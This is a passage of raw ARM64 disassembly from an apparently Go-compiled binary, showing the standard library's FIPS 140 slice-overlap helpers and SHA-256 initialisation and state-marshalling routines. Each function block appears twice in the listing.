005120fcldr x4, [sp+96]
00512100sub x0, x2, 1
00512104subs xzr, x1, x0
00512108b.hi 0x512110
0051210cb 0x5121a4
00512110
00512110loc_512110:
00512110add x2, x4, x0
00512114subs xzr, x2, x3
00512118cset x2, hs
0051211cstrb w2, [sp+38]
00512120b 0x512128
00512124
00512124loc_512124:
00512124b 0x512128
00512128
00512128loc_512128:
00512128ldrb w2, [sp+38]
0051212cstrb w2, [sp+39]
00512130tbnz w2, 0, 0x512138
00512134b 0x512180
00512138
00512138loc_512138:
00512138ldr x2, [sp+80]
0051213cstr x2, [sp+40]
00512140ldr x1, [sp+104]
00512144ldr x3, [sp+96]
00512148subs xzr, x1, 0
0051214cb.hi 0x512154
00512150b 0x51219c
00512154
00512154loc_512154:
00512154ldr x1, [sp+80]
00512158ldr x4, [sp+72]
0051215csub x0, x2, 1
00512160subs xzr, x1, x0
00512164b.hi 0x51216c
00512168b 0x512198
0051216c
0051216cloc_51216c:
0051216cadd x1, x4, x0
00512170subs xzr, x1, x3
00512174cset x1, hs
00512178strb w1, [sp+39]
0051217cb 0x512184
00512180
00512180loc_512180:
00512180b 0x512184
00512184
00512184loc_512184:
00512184ldrb w0, [sp+39]
00512188strb w0, [sp+36]
0051218cldur x29, [sp-8]
00512190ldr x30, [sp], 64
00512194ret x30
00512198
00512198loc_512198:
00512198bl runtime.panicIndex
0051219c
0051219cloc_51219c:
0051219cmov x0, xzr
005121a0bl runtime.panicIndex
005121a4
005121a4loc_5121a4:
005121a4bl runtime.panicIndex
005121a8
005121a8loc_5121a8:
005121a8mov x0, xzr
005121acbl runtime.panicIndex
005121b0hint
005121b4
005121b4loc_5121b4:
005121b4stp x0, x1, [sp+8]
005121b8stp x2, x3, [sp+24]
005121bcstp x4, x5, [sp+40]
005121c0mov x3, x30
005121c4bl runtime.morestack_noctxt.abi0
005121c8ldp x0, x1, [sp+8]
005121ccldp x2, x3, [sp+24]
005121d0ldp x4, x5, [sp+40]
005121d4b 0x512060
005121d8udf 0
005121dcudf 0
00512060
00512060crypto/internal/fips140/alias.AnyOverlap: ; void crypto/internal/fips140/alias.AnyOverlap(struct []uint8 x, struct []uint8 y)
00512060ldr x16, [x28+16]
00512064subs xzr, sp, x16
00512068b.ls 0x5121b4
0051206cstr x30, [sp-64]!
00512070stur x29, [sp-8]
00512074sub x29, sp, 8
00512078str x0, [sp+72]
0051207cstr x1, [sp+80]
00512080str x2, [sp+88]
00512084str x3, [sp+96]
00512088str x4, [sp+104]
0051208cstr x5, [sp+112]
00512090strb wzr, [sp+36]
00512094ldr x2, [sp+80]
00512098str x2, [sp+48]
0051209csubs xzr, x2, 0
005120a0cset x3, ne
005120a4strb w3, [sp+37]
005120a8cbnz x2, 0x5120b0
005120acb 0x5120c8
005120b0
005120b0loc_5120b0:
005120b0ldr x2, [sp+104]
005120b4str x2, [sp+40]
005120b8subs xzr, x2, 0
005120bccset x2, ne
005120c0strb w2, [sp+37]
005120c4b 0x5120cc
005120c8
005120c8loc_5120c8:
005120c8b 0x5120cc
005120cc
005120ccloc_5120cc:
005120ccldrb w2, [sp+37]
005120d0strb w2, [sp+38]
005120d4tbnz w2, 0, 0x5120dc
005120d8b 0x512124
005120dc
005120dcloc_5120dc:
005120dcldr x2, [sp+104]
005120e0str x2, [sp+40]
005120e4ldr x1, [sp+80]
005120e8ldr x3, [sp+72]
005120ecsubs xzr, x1, 0
005120f0b.hi 0x5120f8
005120f4b 0x5121a8
005120f8
005120f8loc_5120f8:
005120f8ldr x1, [sp+104]
005120fcldr x4, [sp+96]
00512100sub x0, x2, 1
00512104subs xzr, x1, x0
00512108b.hi 0x512110
0051210cb 0x5121a4
00512110
00512110loc_512110:
00512110add x2, x4, x0
00512114subs xzr, x2, x3
00512118cset x2, hs
0051211cstrb w2, [sp+38]
00512120b 0x512128
00512124
00512124loc_512124:
00512124b 0x512128
00512128
00512128loc_512128:
00512128ldrb w2, [sp+38]
0051212cstrb w2, [sp+39]
00512130tbnz w2, 0, 0x512138
00512134b 0x512180
00512138
00512138loc_512138:
00512138ldr x2, [sp+80]
0051213cstr x2, [sp+40]
00512140ldr x1, [sp+104]
00512144ldr x3, [sp+96]
00512148subs xzr, x1, 0
0051214cb.hi 0x512154
00512150b 0x51219c
00512154
00512154loc_512154:
00512154ldr x1, [sp+80]
00512158ldr x4, [sp+72]
0051215csub x0, x2, 1
00512160subs xzr, x1, x0
00512164b.hi 0x51216c
00512168b 0x512198
0051216c
0051216cloc_51216c:
0051216cadd x1, x4, x0
00512170subs xzr, x1, x3
00512174cset x1, hs
00512178strb w1, [sp+39]
0051217cb 0x512184
00512180
00512180loc_512180:
00512180b 0x512184
00512184
00512184loc_512184:
00512184ldrb w0, [sp+39]
00512188strb w0, [sp+36]
0051218cldur x29, [sp-8]
00512190ldr x30, [sp], 64
00512194ret x30
00512198
00512198loc_512198:
00512198bl runtime.panicIndex
0051219c
0051219cloc_51219c:
0051219cmov x0, xzr
005121a0bl runtime.panicIndex
005121a4
005121a4loc_5121a4:
005121a4bl runtime.panicIndex
005121a8
005121a8loc_5121a8:
005121a8mov x0, xzr
005121acbl runtime.panicIndex
005121b0hint
005121b4
005121b4loc_5121b4:
005121b4stp x0, x1, [sp+8]
005121b8stp x2, x3, [sp+24]
005121bcstp x4, x5, [sp+40]
005121c0mov x3, x30
005121c4bl runtime.morestack_noctxt.abi0
005121c8ldp x0, x1, [sp+8]
005121ccldp x2, x3, [sp+24]
005121d0ldp x4, x5, [sp+40]
005121d4b 0x512060
005121d8udf 0
005121dcudf 0
00512060
005121e0
005121e0crypto/internal/fips140/alias.InexactOverlap: ; void crypto/internal/fips140/alias.InexactOverlap(struct []uint8 x, struct []uint8 y)
005121e0ldr x16, [x28+16]
005121e4subs xzr, sp, x16
005121e8b.ls 0x5122fc
005121ecstr x30, [sp-96]!
005121f0stur x29, [sp-8]
005121f4sub x29, sp, 8
005121f8str x0, [sp+104]
005121fcstr x1, [sp+112]
00512200str x2, [sp+120]
00512204str x3, [sp+128]
00512208str x4, [sp+136]
0051220cstr x5, [sp+144]
00512210strb wzr, [sp+69]
00512214ldr x6, [sp+112]
00512218str x6, [sp+80]
0051221csubs xzr, x6, 0
00512220cset x7, eq
00512224strb w7, [sp+70]
00512228cbz x6, 0x512230
0051222cb 0x512234
00512230
00512230loc_512230:
00512230b 0x51224c
00512234
00512234loc_512234:
00512234ldr x6, [sp+136]
00512238str x6, [sp+72]
0051223csubs xzr, x6, 0
00512240cset x6, eq
00512244strb w6, [sp+70]
00512248b 0x51224c
0051224c
0051224cloc_51224c:
0051224cldrb w6, [sp+70]
00512250strb w6, [sp+71]
00512254tbnz w6, 0, 0x51225c
00512258b 0x512260
0051225c
0051225cloc_51225c:
0051225cb 0x512298
00512260
00512260loc_512260:
00512260ldr x1, [sp+112]
00512264ldr x6, [sp+104]
00512268subs xzr, x1, 0
0051226cb.hi 0x512274
00512270b 0x5122f0
00512274
00512274loc_512274:
00512274ldr x1, [sp+136]
00512278ldr x7, [sp+128]
0051227csubs xzr, x1, 0
00512280b.hi 0x512288
00512284b 0x5122e8
00512288
00512288loc_512288:
00512288subs xzr, x7, x6
0051228ccset x6, eq
00512290strb w6, [sp+71]
00512294b 0x512298
00512298
00512298loc_512298:
00512298ldrb w6, [sp+71]
0051229ctbnz w6, 0, 0x5122a4
005122a0b 0x5122b8
005122a4
005122a4loc_5122a4:
005122a4strb wzr, [sp+69]
005122a8mov x0, xzr
005122acldur x29, [sp-8]
005122b0ldr x30, [sp], 96
005122b4ret x30
005122b8
005122b8loc_5122b8:
005122b8ldr x0, [sp+104]
005122bcldr x3, [sp+128]
005122c0ldr x1, [sp+112]
005122c4ldr x4, [sp+136]
005122c8ldr x2, [sp+120]
005122ccldr x5, [sp+144]
005122d0bl crypto/internal/fips140/alias.AnyOverlap
005122d4strb w0, [sp+70]
005122d8strb w0, [sp+69]
005122dcldur x29, [sp-8]
005122e0ldr x30, [sp], 96
005122e4ret x30
005122e8
005122e8loc_5122e8:
005122e8mov x0, xzr
005122ecbl runtime.panicIndex
005122f0
005122f0loc_5122f0:
005122f0mov x0, xzr
005122f4bl runtime.panicIndex
005122f8hint
005122fc
005122fcloc_5122fc:
005122fcstp x0, x1, [sp+8]
00512300stp x2, x3, [sp+24]
00512304stp x4, x5, [sp+40]
00512308mov x3, x30
0051230cbl runtime.morestack_noctxt.abi0
00512310ldp x0, x1, [sp+8]
00512314ldp x2, x3, [sp+24]
00512318ldp x4, x5, [sp+40]
0051231cb 0x5121e0
005121e0
005121e0crypto/internal/fips140/alias.InexactOverlap: ; void crypto/internal/fips140/alias.InexactOverlap(struct []uint8 x, struct []uint8 y)
005121e0ldr x16, [x28+16]
005121e4subs xzr, sp, x16
005121e8b.ls 0x5122fc
005121ecstr x30, [sp-96]!
005121f0stur x29, [sp-8]
005121f4sub x29, sp, 8
005121f8str x0, [sp+104]
005121fcstr x1, [sp+112]
00512200str x2, [sp+120]
00512204str x3, [sp+128]
00512208str x4, [sp+136]
0051220cstr x5, [sp+144]
00512210strb wzr, [sp+69]
00512214ldr x6, [sp+112]
00512218str x6, [sp+80]
0051221csubs xzr, x6, 0
00512220cset x7, eq
00512224strb w7, [sp+70]
00512228cbz x6, 0x512230
0051222cb 0x512234
00512230
00512230loc_512230:
00512230b 0x51224c
00512234
00512234loc_512234:
00512234ldr x6, [sp+136]
00512238str x6, [sp+72]
0051223csubs xzr, x6, 0
00512240cset x6, eq
00512244strb w6, [sp+70]
00512248b 0x51224c
0051224c
0051224cloc_51224c:
0051224cldrb w6, [sp+70]
00512250strb w6, [sp+71]
00512254tbnz w6, 0, 0x51225c
00512258b 0x512260
0051225c
0051225cloc_51225c:
0051225cb 0x512298
00512260
00512260loc_512260:
00512260ldr x1, [sp+112]
00512264ldr x6, [sp+104]
00512268subs xzr, x1, 0
0051226cb.hi 0x512274
00512270b 0x5122f0
00512274
00512274loc_512274:
00512274ldr x1, [sp+136]
00512278ldr x7, [sp+128]
0051227csubs xzr, x1, 0
00512280b.hi 0x512288
00512284b 0x5122e8
00512288
00512288loc_512288:
00512288subs xzr, x7, x6
0051228ccset x6, eq
00512290strb w6, [sp+71]
00512294b 0x512298
00512298
00512298loc_512298:
00512298ldrb w6, [sp+71]
0051229ctbnz w6, 0, 0x5122a4
005122a0b 0x5122b8
005122a4
005122a4loc_5122a4:
005122a4strb wzr, [sp+69]
005122a8mov x0, xzr
005122acldur x29, [sp-8]
005122b0ldr x30, [sp], 96
005122b4ret x30
005122b8
005122b8loc_5122b8:
005122b8ldr x0, [sp+104]
005122bcldr x3, [sp+128]
005122c0ldr x1, [sp+112]
005122c4ldr x4, [sp+136]
005122c8ldr x2, [sp+120]
005122ccldr x5, [sp+144]
005122d0bl crypto/internal/fips140/alias.AnyOverlap
005122d4strb w0, [sp+70]
005122d8strb w0, [sp+69]
005122dcldur x29, [sp-8]
005122e0ldr x30, [sp], 96
005122e4ret x30
005122e8
005122e8loc_5122e8:
005122e8mov x0, xzr
005122ecbl runtime.panicIndex
005122f0
005122f0loc_5122f0:
005122f0mov x0, xzr
005122f4bl runtime.panicIndex
005122f8hint
005122fc
005122fcloc_5122fc:
005122fcstp x0, x1, [sp+8]
00512300stp x2, x3, [sp+24]
00512304stp x4, x5, [sp+40]
00512308mov x3, x30
0051230cbl runtime.morestack_noctxt.abi0
00512310ldp x0, x1, [sp+8]
00512314ldp x2, x3, [sp+24]
00512318ldp x4, x5, [sp+40]
0051231cb 0x5121e0
005121e0
00512320
00512320crypto/internal/fips140/sha256.init: ; void crypto/internal/fips140/sha256.init(void)
00512320adrp x27, 0x539000
00512324ldrb w0, [x27+1557]
00512328adrp x27, 0x539000
0051232cstrb w0, [x27+1547]
00512330ret x30
00512334udf 0
00512338udf 0
0051233cudf 0
00512320
00512320crypto/internal/fips140/sha256.init: ; void crypto/internal/fips140/sha256.init(void)
00512320adrp x27, 0x539000
00512324ldrb w0, [x27+1557]
00512328adrp x27, 0x539000
0051232cstrb w0, [x27+1547]
00512330ret x30
00512334udf 0
00512338udf 0
0051233cudf 0
00512320
00512340
00512340crypto/internal/fips140/sha256.init.0: ; void crypto/internal/fips140/sha256.init.0(void)
00512340ldr x16, [x28+16]
00512344subs xzr, sp, x16
00512348b.ls 0x51237c
0051234cstr x30, [sp-48]!
00512350stur x29, [sp-8]
00512354sub x29, sp, 8
00512358adrp x0, 0x19f000
0051235cadd x0, x0, 1996
00512360orr x1, xzr, 8
00512364adrp x2, 0x1c7000
00512368add x2, x2, 736
0051236cbl crypto/internal/fips140.CAST
00512370ldur x29, [sp-8]
00512374ldr x30, [sp], 48
00512378ret x30
0051237c
0051237cloc_51237c:
0051237cmov x3, x30
00512380bl runtime.morestack_noctxt.abi0
00512384b 0x512340
00512388udf 0
0051238cudf 0
00512340
00512340crypto/internal/fips140/sha256.init.0: ; void crypto/internal/fips140/sha256.init.0(void)
00512340ldr x16, [x28+16]
00512344subs xzr, sp, x16
00512348b.ls 0x51237c
0051234cstr x30, [sp-48]!
00512350stur x29, [sp-8]
00512354sub x29, sp, 8
00512358adrp x0, 0x19f000
0051235cadd x0, x0, 1996
00512360orr x1, xzr, 8
00512364adrp x2, 0x1c7000
00512368add x2, x2, 736
0051236cbl crypto/internal/fips140.CAST
00512370ldur x29, [sp-8]
00512374ldr x30, [sp], 48
00512378ret x30
0051237c
0051237cloc_51237c:
0051237cmov x3, x30
00512380bl runtime.morestack_noctxt.abi0
00512384b 0x512340
00512388udf 0
0051238cudf 0
00512340
00512390
00512390crypto/internal/fips140/sha256.(*Digest).MarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).MarshalBinary(crypto/internal/fips140/sha256.Digest * d)
00512390ldr x16, [x28+16]
00512394sub x17, sp, 64
00512398subs xzr, x17, x16
0051239cb.ls 0x51247c
005123a0str x30, [sp-192]!
005123a4stur x29, [sp-8]
005123a8sub x29, sp, 8
005123acstr x0, [sp+200]
005123b0str xzr, [sp+56]
005123b4stp xzr, xzr, [sp+64]
005123b8stp xzr, xzr, [sp+40]
005123bcadrp x0, 0xe3000
005123c0add x0, x0, 3072
005123c4mov x1, xzr
005123c8movz x2, 108
005123ccbl runtime.makeslice
005123d0str x0, [sp+120]
005123d4str xzr, [sp+128]
005123d8movz x3, 108
005123dcstr x3, [sp+136]
005123e0str xzr, [sp+96]
005123e4stp xzr, xzr, [sp+104]
005123e8stp xzr, xzr, [sp+80]
005123ecldr x0, [sp+200]
005123f0ldr x1, [sp+120]
005123f4ldr x2, [sp+128]
005123f8ldr x3, [sp+136]
005123fcbl crypto/internal/fips140/sha256.(*Digest).AppendBinary
00512400str x0, [sp+96]
00512404str x1, [sp+104]
00512408str x2, [sp+112]
0051240cstr x3, [sp+80]
00512410str x4, [sp+88]
00512414ldr x3, [sp+96]
00512418ldr x4, [sp+104]
0051241cldr x5, [sp+112]
00512420str x3, [sp+160]
00512424str x4, [sp+168]
00512428str x5, [sp+176]
0051242cldr x3, [sp+80]
00512430ldr x4, [sp+88]
00512434str x3, [sp+144]
00512438str x4, [sp+152]
0051243cldr x3, [sp+160]
00512440ldr x4, [sp+168]
00512444ldr x5, [sp+176]
00512448str x3, [sp+56]
0051244cstr x4, [sp+64]
00512450str x5, [sp+72]
00512454ldr x3, [sp+144]
00512458ldr x4, [sp+152]
0051245cstr x3, [sp+40]
00512460str x4, [sp+48]
00512464ldr x0, [sp+56]
00512468ldr x1, [sp+64]
0051246cldr x2, [sp+72]
00512470ldur x29, [sp-8]
00512474ldr x30, [sp], 192
00512478ret x30
0051247c
0051247cloc_51247c:
0051247cstr x0, [sp+8]
00512480mov x3, x30
00512484bl runtime.morestack_noctxt.abi0
00512488ldr x0, [sp+8]
0051248cb 0x512390
00512390
00512390crypto/internal/fips140/sha256.(*Digest).MarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).MarshalBinary(crypto/internal/fips140/sha256.Digest * d)
00512390ldr x16, [x28+16]
00512394sub x17, sp, 64
00512398subs xzr, x17, x16
0051239cb.ls 0x51247c
005123a0str x30, [sp-192]!
005123a4stur x29, [sp-8]
005123a8sub x29, sp, 8
005123acstr x0, [sp+200]
005123b0str xzr, [sp+56]
005123b4stp xzr, xzr, [sp+64]
005123b8stp xzr, xzr, [sp+40]
005123bcadrp x0, 0xe3000
005123c0add x0, x0, 3072
005123c4mov x1, xzr
005123c8movz x2, 108
005123ccbl runtime.makeslice
005123d0str x0, [sp+120]
005123d4str xzr, [sp+128]
005123d8movz x3, 108
005123dcstr x3, [sp+136]
005123e0str xzr, [sp+96]
005123e4stp xzr, xzr, [sp+104]
005123e8stp xzr, xzr, [sp+80]
005123ecldr x0, [sp+200]
005123f0ldr x1, [sp+120]
005123f4ldr x2, [sp+128]
005123f8ldr x3, [sp+136]
005123fcbl crypto/internal/fips140/sha256.(*Digest).AppendBinary
00512400str x0, [sp+96]
00512404str x1, [sp+104]
00512408str x2, [sp+112]
0051240cstr x3, [sp+80]
00512410str x4, [sp+88]
00512414ldr x3, [sp+96]
00512418ldr x4, [sp+104]
0051241cldr x5, [sp+112]
00512420str x3, [sp+160]
00512424str x4, [sp+168]
00512428str x5, [sp+176]
0051242cldr x3, [sp+80]
00512430ldr x4, [sp+88]
00512434str x3, [sp+144]
00512438str x4, [sp+152]
0051243cldr x3, [sp+160]
00512440ldr x4, [sp+168]
00512444ldr x5, [sp+176]
00512448str x3, [sp+56]
0051244cstr x4, [sp+64]
00512450str x5, [sp+72]
00512454ldr x3, [sp+144]
00512458ldr x4, [sp+152]
0051245cstr x3, [sp+40]
00512460str x4, [sp+48]
00512464ldr x0, [sp+56]
00512468ldr x1, [sp+64]
0051246cldr x2, [sp+72]
00512470ldur x29, [sp-8]
00512474ldr x30, [sp], 192
00512478ret x30
0051247c
0051247cloc_51247c:
0051247cstr x0, [sp+8]
00512480mov x3, x30
00512484bl runtime.morestack_noctxt.abi0
00512488ldr x0, [sp+8]
0051248cb 0x512390
00512390
00512490
00512490crypto/internal/fips140/sha256.(*Digest).AppendBinary: ; void crypto/internal/fips140/sha256.(*Digest).AppendBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
00512490ldr x16, [x28+16]
00512494sub x17, sp, 240
00512498subs xzr, x17, x16
0051249cb.ls 0x512988
005124a0sub x20, sp, 368
005124a4stp x29, x30, [x20-8]
005124a8add sp, x20, 0
005124acsub x29, sp, 8
005124b0str x0, [sp+376]
005124b4str x1, [sp+384]
005124b8str x2, [sp+392]
005124bcstr x3, [sp+400]
005124c0str xzr, [sp+184]
005124c4stp xzr, xzr, [sp+192]
005124c8stp xzr, xzr, [sp+168]
005124ccldr x5, [sp+376]
005124d0ldrsb x27, [x5]
005124d4ldrb w5, [x5+112]
005124d8tbnz w5, 0, 0x5124e0
005124dcb 0x51257c
005124e0
005124e0loc_5124e0:
005124e0ldr x2, [sp+400]
005124e4ldr x0, [sp+384]
005124e8ldr x5, [sp+392]
005124ecadd x1, x5, 4
005124f0str x0, [sp+216]
005124f4str x5, [sp+224]
005124f8str x2, [sp+232]
005124fcstr x1, [sp+88]
00512500subs xzr, x2, x1
00512504b.hs 0x51250c
00512508b 0x512514
0051250c
0051250cloc_51250c:
0051250cstr x1, [sp+224]
00512510b 0x512534
00512514
00512514loc_512514:
00512514orr x3, xzr, 4
00512518adrp x4, 0xe3000
0051251cadd x4, x4, 3072
00512520bl runtime.growslice
00512524str x0, [sp+216]
00512528str x1, [sp+224]
0051252cstr x2, [sp+232]
00512530b 0x512534
00512534
00512534loc_512534:
00512534orr x3, xzr, 4
00512538str x3, [sp+80]
0051253cldr x3, [sp+88]
00512540sub x3, x3, 4
00512544ldr x4, [sp+216]
00512548add x0, x4, x3
0051254cstr x0, [sp+208]
00512550ldr x2, [sp+80]
00512554adrp x1, 0x19e000
00512558add x1, x1, 1286
0051255cbl runtime.memmove
00512560ldr x3, [sp+216]
00512564ldr x4, [sp+224]
00512568ldr x5, [sp+232]
0051256cstr x3, [sp+384]
00512570str x4, [sp+392]
00512574str x5, [sp+400]
00512578b 0x512618
0051257c
0051257cloc_51257c:
0051257cldr x2, [sp+400]
00512580ldr x0, [sp+384]
00512584ldr x5, [sp+392]
00512588add x1, x5, 4
0051258cstr x0, [sp+336]
00512590str x5, [sp+344]
00512594str x2, [sp+352]
00512598str x1, [sp+160]
0051259csubs xzr, x2, x1
005125a0b.hs 0x5125a8
005125a4b 0x5125b0
005125a8
005125a8loc_5125a8:
005125a8str x1, [sp+344]
005125acb 0x5125d0
005125b0
005125b0loc_5125b0:
005125b0orr x3, xzr, 4
005125b4adrp x4, 0xe3000
005125b8add x4, x4, 3072
005125bcbl runtime.growslice
005125c0str x0, [sp+336]
005125c4str x1, [sp+344]
005125c8str x2, [sp+352]
005125ccb 0x5125d0
005125d0
005125d0loc_5125d0:
005125d0orr x3, xzr, 4
005125d4str x3, [sp+152]
005125d8ldr x3, [sp+160]
005125dcsub x3, x3, 4
005125e0ldr x4, [sp+336]
005125e4add x0, x4, x3
005125e8str x0, [sp+328]
005125ecldr x2, [sp+152]
005125f0adrp x1, 0x19e000
005125f4add x1, x1, 1290
005125f8bl runtime.memmove
005125fcldr x3, [sp+336]
00512600ldr x4, [sp+344]
00512604ldr x5, [sp+352]
00512608str x3, [sp+384]
0051260cstr x4, [sp+392]
00512610str x5, [sp+400]
00512614b 0x512618
00512618
00512618loc_512618:
00512618ldr x4, [sp+376]
0051261cldrsb x27, [x4]
00512620ldr w3, [x4]
00512624str w3, [sp+76]
00512628ldr x0, [sp+384]
0051262cldr x1, [sp+392]
00512630ldr x2, [sp+400]
00512634bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512638str x0, [sp+384]
0051263cstr x1, [sp+392]
00512640str x2, [sp+400]
00512644ldr x4, [sp+376]
00512648ldrsb x27, [x4]
0051264cldr w3, [x4+4]
00512650str w3, [sp+72]
00512654ldr x0, [sp+384]
00512658ldr x1, [sp+392]
0051265cldr x2, [sp+400]
00512660bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512664str x0, [sp+384]
00512668str x1, [sp+392]
0051266cstr x2, [sp+400]
00512670ldr x4, [sp+376]
00512674ldrsb x27, [x4]
00512678ldr w3, [x4+8]
0051267cstr w3, [sp+68]
00512680ldr x0, [sp+384]
00512684ldr x1, [sp+392]
00512688ldr x2, [sp+400]
0051268cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512690str x0, [sp+384]
00512694str x1, [sp+392]
00512698str x2, [sp+400]
0051269cldr x4, [sp+376]
005126a0ldrsb x27, [x4]
005126a4ldr w3, [x4+12]
005126a8str w3, [sp+64]
005126acldr x0, [sp+384]
005126b0ldr x1, [sp+392]
005126b4ldr x2, [sp+400]
005126b8bl crypto/internal/fips140deps/byteorder.BEAppendUint32
005126bcstr x0, [sp+384]
005126c0str x1, [sp+392]
005126c4str x2, [sp+400]
005126c8ldr x4, [sp+376]
005126ccldrsb x27, [x4]
005126d0ldr w3, [x4+16]
005126d4str w3, [sp+60]
005126d8ldr x0, [sp+384]
005126dcldr x1, [sp+392]
005126e0ldr x2, [sp+400]
005126e4bl crypto/internal/fips140deps/byteorder.BEAppendUint32
005126e8str x0, [sp+384]
005126ecstr x1, [sp+392]
005126f0str x2, [sp+400]
005126f4ldr x4, [sp+376]
005126f8ldrsb x27, [x4]
005126fcldr w3, [x4+20]
00512700str w3, [sp+56]
00512704ldr x0, [sp+384]
00512708ldr x1, [sp+392]
0051270cldr x2, [sp+400]
00512710bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512714str x0, [sp+384]
00512718str x1, [sp+392]
0051271cstr x2, [sp+400]
00512720ldr x4, [sp+376]
00512724ldrsb x27, [x4]
00512728ldr w3, [x4+24]
0051272cstr w3, [sp+52]
00512730ldr x0, [sp+384]
00512734ldr x1, [sp+392]
00512738ldr x2, [sp+400]
0051273cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512740str x0, [sp+384]
00512744str x1, [sp+392]
00512748str x2, [sp+400]
0051274cldr x4, [sp+376]
00512750ldrsb x27, [x4]
00512754ldr w3, [x4+28]
00512758str w3, [sp+48]
0051275cldr x0, [sp+384]
00512760ldr x1, [sp+392]
00512764ldr x2, [sp+400]
00512768bl crypto/internal/fips140deps/byteorder.BEAppendUint32
0051276cstr x0, [sp+384]
00512770str x1, [sp+392]
00512774str x2, [sp+400]
00512778ldr x4, [sp+376]
0051277cldrsb x27, [x4]
00512780ldr x1, [x4+96]
00512784str x1, [sp+96]
00512788ldr x4, [sp+376]
0051278cldrsb x27, [x4]
00512790add x4, x4, 32
00512794ldrsb x27, [x4]
00512798subs xzr, x1, 64
0051279cb.ls 0x5127a4
005127a0b 0x51297c
005127a4
005127a4loc_5127a4:
005127a4b 0x5127a8
005127a8
005127a8loc_5127a8:
005127a8str x4, [sp+240]
005127acstr x1, [sp+248]
005127b0orr x5, xzr, 64
005127b4str x5, [sp+256]
005127b8ldr x2, [sp+400]
005127bcldr x0, [sp+384]
005127c0ldr x6, [sp+392]
005127c4str x0, [sp+304]
005127c8str x6, [sp+312]
005127ccstr x2, [sp+320]
005127d0ldr x7, [sp+248]
005127d4add x1, x6, x7
005127d8str x1, [sp+144]
005127dcsubs xzr, x2, x1
005127e0b.hs 0x5127e8
005127e4b 0x5127f0
005127e8
005127e8loc_5127e8:
005127e8str x1, [sp+312]
005127ecb 0x512810
005127f0
005127f0loc_5127f0:
005127f0ldr x3, [sp+248]
005127f4adrp x4, 0xe3000
005127f8add x4, x4, 3072
005127fcbl runtime.growslice
00512800str x0, [sp+304]
00512804str x1, [sp+312]
00512808str x2, [sp+320]
0051280cb 0x512810
00512810
00512810loc_512810:
00512810ldr x3, [sp+248]
00512814str x3, [sp+136]
00512818ldr x3, [sp+144]
0051281cldr x4, [sp+248]
00512820sub x3, x3, x4
00512824ldr x4, [sp+304]
00512828add x0, x4, x3
0051282cstr x0, [sp+296]
00512830ldr x2, [sp+136]
00512834ldr x1, [sp+240]
00512838bl runtime.memmove
0051283cldr x3, [sp+304]
00512840ldr x4, [sp+312]
00512844ldr x5, [sp+320]
00512848str x3, [sp+384]
0051284cstr x4, [sp+392]
00512850str x5, [sp+400]
00512854ldr x3, [sp+376]
00512858ldrsb x27, [x3]
0051285cldr x3, [x3+96]
00512860orr x4, xzr, 64
00512864sub x2, x4, x3
00512868str x2, [sp+128]
0051286cadrp x0, 0xe3000
00512870add x0, x0, 3072
00512874mov x1, x2
00512878bl runtime.makeslice
0051287cldr x3, [sp+128]
00512880ldr x4, [sp+128]
00512884str x0, [sp+240]
00512888str x3, [sp+248]
0051288cstr x4, [sp+256]
00512890ldr x2, [sp+400]
00512894ldr x0, [sp+384]
00512898ldr x3, [sp+392]
0051289cstr x0, [sp+272]
005128a0str x3, [sp+280]
005128a4str x2, [sp+288]
005128a8ldr x4, [sp+248]
005128acadd x1, x3, x4
005128b0str x1, [sp+120]
005128b4subs xzr, x2, x1
005128b8b.hs 0x5128c0
005128bcb 0x5128c8
005128c0
005128c0loc_5128c0:
005128c0str x1, [sp+280]
005128c4b 0x5128e8
005128c8
005128c8loc_5128c8:
005128c8ldr x3, [sp+248]
005128ccadrp x4, 0xe3000
005128d0add x4, x4, 3072
005128d4bl runtime.growslice
005128d8str x0, [sp+272]
005128dcstr x1, [sp+280]
005128e0str x2, [sp+288]
005128e4b 0x5128e8
005128e8
005128e8loc_5128e8:
005128e8ldr x3, [sp+248]
005128ecstr x3, [sp+112]
005128f0ldr x3, [sp+120]
005128f4ldr x4, [sp+248]
005128f8sub x3, x3, x4
005128fcldr x4, [sp+272]
00512900add x0, x4, x3
00512904str x0, [sp+264]
00512908ldr x2, [sp+112]
0051290cldr x1, [sp+240]
00512910bl runtime.memmove
00512914ldr x0, [sp+272]
00512918ldr x1, [sp+280]
0051291cldr x2, [sp+288]
00512920str x0, [sp+384]
00512924str x1, [sp+392]
00512928str x2, [sp+400]
0051292cldr x3, [sp+376]
00512930ldrsb x27, [x3]
00512934ldr x3, [x3+104]
00512938str x3, [sp+104]
0051293cbl crypto/internal/fips140deps/byteorder.BEAppendUint64
00512940str x0, [sp+384]
00512944str x1, [sp+392]
00512948str x2, [sp+400]
0051294cstr x0, [sp+184]
00512950str x1, [sp+192]
00512954str x2, [sp+200]
00512958stp xzr, xzr, [sp+168]
0051295cldr x0, [sp+184]
00512960ldr x1, [sp+192]
00512964ldr x2, [sp+200]
00512968mov x3, xzr
0051296cmov x4, xzr
00512970ldp x29, x30, [sp-8]
00512974add sp, sp, 368
00512978ret x30
0051297c
0051297cloc_51297c:
0051297corr x2, xzr, 64
00512980bl runtime.panicSliceAlen
00512984hint
00512988
00512988loc_512988:
00512988stp x0, x1, [sp+8]
0051298cstp x2, x3, [sp+24]
00512990mov x3, x30
00512994bl runtime.morestack_noctxt.abi0
00512998ldp x0, x1, [sp+8]
0051299cldp x2, x3, [sp+24]
005129a0b 0x512490
005129a4udf 0
005129a8udf 0
005129acudf 0
00512490
00512490crypto/internal/fips140/sha256.(*Digest).AppendBinary: ; void crypto/internal/fips140/sha256.(*Digest).AppendBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
00512490ldr x16, [x28+16]
00512494sub x17, sp, 240
00512498subs xzr, x17, x16
0051249cb.ls 0x512988
005124a0sub x20, sp, 368
005124a4stp x29, x30, [x20-8]
005124a8add sp, x20, 0
005124acsub x29, sp, 8
005124b0str x0, [sp+376]
005124b4str x1, [sp+384]
005124b8str x2, [sp+392]
005124bcstr x3, [sp+400]
005124c0str xzr, [sp+184]
005124c4stp xzr, xzr, [sp+192]
005124c8stp xzr, xzr, [sp+168]
005124ccldr x5, [sp+376]
005124d0ldrsb x27, [x5]
005124d4ldrb w5, [x5+112]
